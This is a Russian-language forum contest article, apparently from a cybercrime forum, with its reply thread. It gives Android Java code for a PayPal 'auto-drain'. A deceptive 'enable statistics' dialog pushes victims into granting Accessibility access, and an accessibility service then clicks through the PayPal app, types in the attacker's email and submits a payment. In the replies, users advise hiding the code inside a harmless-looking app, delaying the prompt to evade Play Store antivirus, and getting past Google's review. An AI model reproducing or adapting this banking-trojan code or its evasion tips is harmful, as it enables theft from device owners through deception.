• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Понажимай на кнопки за него

leeex

CD-диск
Пользователь
Регистрация
12.12.2018
Сообщения
13
Реакции
9
Всем привет! Сегодня я хочу написать про android а именно про клики,заполнения форм поиск текста и т.д. А чтобы было хоть как то интересно мы напишем автослив с paypal.
И так первым делом нам надо отправить пользователя включить функцию Accessibility, как заставить его залезть в приложения это уже другое дело:smile58:, push уведомления в помощь.
Ну да ладно, отошли от темы, отправляем холдера включить функцию.

Код:
AlertDialog.Builder builder = new AlertDialog.Builder(this);
               builder.setTitle("To enable statistics")
                       .setMessage("The system does not work correctly, you need to enable access to statistics ")
                       .setCancelable(false)
                       .setIcon(R.mipmap.ic_launcher)
                       .setPositiveButton("Turn on now", new DialogInterface.OnClickListener() {
                           public void onClick(DialogInterface dialog, int id) {
                               Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
                               startActivity(intent);
                           }

                       });

               builder.create().show();
           }

Title текст "builder.setTitle("To enable statistics")"
Текст сообщения ".setMessage("The system does not work correctly, you need to enable access to statistics ")"
Иконка ".setIcon(R.mipmap.ic_launcher)", путь к иконки.
Текст кнопки (Button) ".setPositiveButton("Turn on now", new DialogInterface.OnClickListener() {"
Если нажали на кнопку отправляем в настройки Accessibility, настройки " Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
startActivity(intent);"



Пример запроса, при клике пользователь попадает в настройки.

Lc8a7ak.jpeg


Перенаправили холдера включить функцию.

Prj9H6o.jpeg


Можно сделать проверку включил холдер функцию или нет, крутить в цикле, Toast, СИ и так далее в общем помочь ему в выборе, но сейчас не об этом:)
Теперь когда нам дали разрешения приступим.
Первым делом мы будем искать текст куда нам нужно кликнуть.

eiR58Ge.jpeg


Искать я буду слово "Отправить", если находим кликаем .

Сравниваем имя пакета "if ("com.paypal.android.p2pmobile".equals(String.format("%s", event.getPackageName()))) {"
если имя пакета paypal то ищем слово "Отправить" и делаем клик.

Код:
if ("com.paypal.android.p2pmobile".equals(String.format("%s", event.getPackageName()))) {
            AccessibilityNodeInfo nodeInfos = getRootInActiveWindow();
            if (nodeInfos == null) {
                return;
            }
            List<AccessibilityNodeInfo> list = nodeInfos.findAccessibilityNodeInfosByText("Отправить");
            if (list != null) {
                for (AccessibilityNodeInfo n : list) {
                    AccessibilityNodeInfo parent = n.getParent();
                    parent.performAction(AccessibilityNodeInfo.ACTION_CLICK);
                    break;
                }
            }

Далее нам нужно заполнить EditText искать мы будем по id и если нашли кликаем и заполняем тестом.
Нужное нам id по которому нужно сделать клик "com.paypal.android.p2pmobile:id/search_filter"
и заполнить, заполняем нашей почтой куда отправить $ ну в нашем случае рубли:smile75:
args.putString(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, "your.mail@gmail.com");
Почта "your.mail@gmail.com".

Код:
List<AccessibilityNodeInfo> searchBarIdle = nodeInfos.findAccessibilityNodeInfosByViewId("com.paypal.android.p2pmobile:id/search_filter");
             if (searchBarIdle.size() > 0) {
                 AccessibilityNodeInfo searchBar = searchBarIdle.get(0);
                 searchBar.performAction(AccessibilityNodeInfo.ACTION_CLICK);
                     Bundle args = new Bundle();
                     args.putString(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, "your.mail@gmail.com");
                     searchBar.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, args);
                 }

Нажимаем далее и переходим на следующую страницу.
Кнопка далее и id кнопки будет следующим"com.paypal.android.p2pmobile:id/next_button"
Если нашли кликаем.

Код:
List<AccessibilityNodeInfo> searc = nodeInfos.findAccessibilityNodeInfosByViewId("com.paypal.android.p2pmobile:id/options_recycler_view");
             if (searc.size() > 0) {
                 List<AccessibilityNodeInfo> lllists = nodeInfos.findAccessibilityNodeInfosByViewId("com.paypal.android.p2pmobile:id/next_button");
                 for (AccessibilityNodeInfo nodes : lllists) {
                     nodes.performAction(AccessibilityNodeInfo.ACTION_CLICK);
                 }
             }

uGPwXmK.jpeg


Кликаем по кнопке 1 я не жадный;). Смотрим id нужной кнопки "com.paypal.android.p2pmobile:id/one".
Нашли кликнули все просто.

Код:
 List<AccessibilityNodeInfo> lists = nodeInfos.findAccessibilityNodeInfosByViewId("com.paypal.android.p2pmobile:id/one");
             for (AccessibilityNodeInfo nodes : lists) {
                 nodes.performAction(AccessibilityNodeInfo.ACTION_CLICK);
             }

Жмем далее, как вы могли заметить мы в основном ищем по id , только в одном случае мы искали по тексту я думаю понятно что текст будет отличатся в других странах.
Повторяемся и жмем далее "com.paypal.android.p2pmobile:id/next_button".

Код:
List<AccessibilityNodeInfo> lllists = nodeInfos.findAccessibilityNodeInfosByViewId("com.paypal.android.p2pmobile:id/next_button");
             for (AccessibilityNodeInfo nodes : lllists) {
                 nodes.performAction(AccessibilityNodeInfo.ACTION_CLICK);
             }

И последующими двумя действиями мы отправляем платеж.

Код:
List<AccessibilityNodeInfo> lllistss = nodeInfos.findAccessibilityNodeInfosByViewId("com.paypal.android.p2pmobile:id/submit_button_container");
             for (AccessibilityNodeInfo nodes : lllistss) {
                 nodes.performAction(AccessibilityNodeInfo.ACTION_CLICK);
             }
             List<AccessibilityNodeInfo> lllistsss = nodeInfos.findAccessibilityNodeInfosByViewId("com.paypal.android.p2pmobile:id/primary_action");
             for (AccessibilityNodeInfo nodes : lllistsss) {
                 nodes.performAction(AccessibilityNodeInfo.ACTION_CLICK);
             }
             }

К сожелению не смог прикрепить остальные скрины.
Всем спасибо за внимание и надеюсь статья вам понравилась, я первый раз участвую в конкурсе.
Специально для xss.pro, всем большой рахмет!!!
 

Вложения

  • uGPwXmK.jpeg
    uGPwXmK.jpeg
    34.7 КБ · Просмотры: 45
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Способ хорош, но только Антивирус в Маркете крайне нелюбит такое поведение и вполне может почти сразу залистинговать за такую активность.
Подойдет скорее всего как дополнение к какому-то другому более безобидному приложению.
 
Способ хорош, но только Антивирус в Маркете крайне нелюбит такое поведение и вполне может почти сразу залистинговать за такую активность.
Подойдет скорее всего как дополнение к какому-то другому более безобидному приложению.
Все правильно если вы хотите разместить в плей маркете я бы советовал вывести запрос минут через 20 или по команде.
И конечно как дополнение к белому приложению.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
в маркет он это и не пропихнет, это запрещено. тупо если в манифесте есть accessability. они разрешили только избранныем, а новым нужно писать им сопроводильное письмо.
 
в маркет он это и не пропихнет, это запрещено. тупо если в манифесте есть accessability. они разрешили только избранныем, а новым нужно писать им сопроводильное письмо.
Возможно сейчас это так но пару недель назад загружал без проблем. Времени проверить пока нет, не чего утверждать не буду.
I3lQGmo.jpeg
 
Пожалуйста, обратите внимание, что пользователь заблокирован
то что в маркете они есть я знаю, можешь скрины не показывать, а уже как пару месяцев точно ты ни чего туда не загрузишь, без обшения напрямую с гуглом
 
то что в маркете они есть я знаю, можешь скрины не показывать, а уже как пару месяцев точно ты ни чего туда не загрузишь, без обшения напрямую с гуглом
Загрузил приложение November 10, 2018, может что то не так делаешь. Не хочу спорить, нет времени сейчас проверять, как освобожусь могу отписать вместе проверим.
 
leeex, хорошо бы, чтобы ты еще и чекнул это. И описал процесс загрузки в маркет. Это бы дополнило статью практикой и кнопкой "бабло".
скорее всего, попросят доки, описание и сопроводительное письмо. это тоже решаемо, не проблема, но такой момент есть
 
Пожалуйста, обратите внимание, что пользователь заблокирован
доберусь до компа, расскажу как более годно юзать это)
 
доберусь до компа, расскажу как более годно юзать это)
Давай плз только в другой теме а то уже не понятно что получается, уходим в другое русло, и не охото чтобы твои комментарии как то повлияли на голосование ведь у тебя тут тоже интерес;)
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
На счет маркета - если хотите грузить с этим разрешением - вам нужно:
1) регистрировать аккаунт от имени юридического лица
2) компания должна быть от РУ, но лучше от Европы
3) указывать что приложение предназначено также для лиц с ограниченными возможностями
Тогда скорее всего почти всегда будете получать аппрув, хотя 100% гарантию никто не даст :3
 
Последнее редактирование:
Моему аккаунту гугл плей разработчика год, видимо поэтому у меня нет проблем с загрузкой приложений.
Не думал честно что моя статья будет пользоваться каким то интересом, спасибо, приятно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх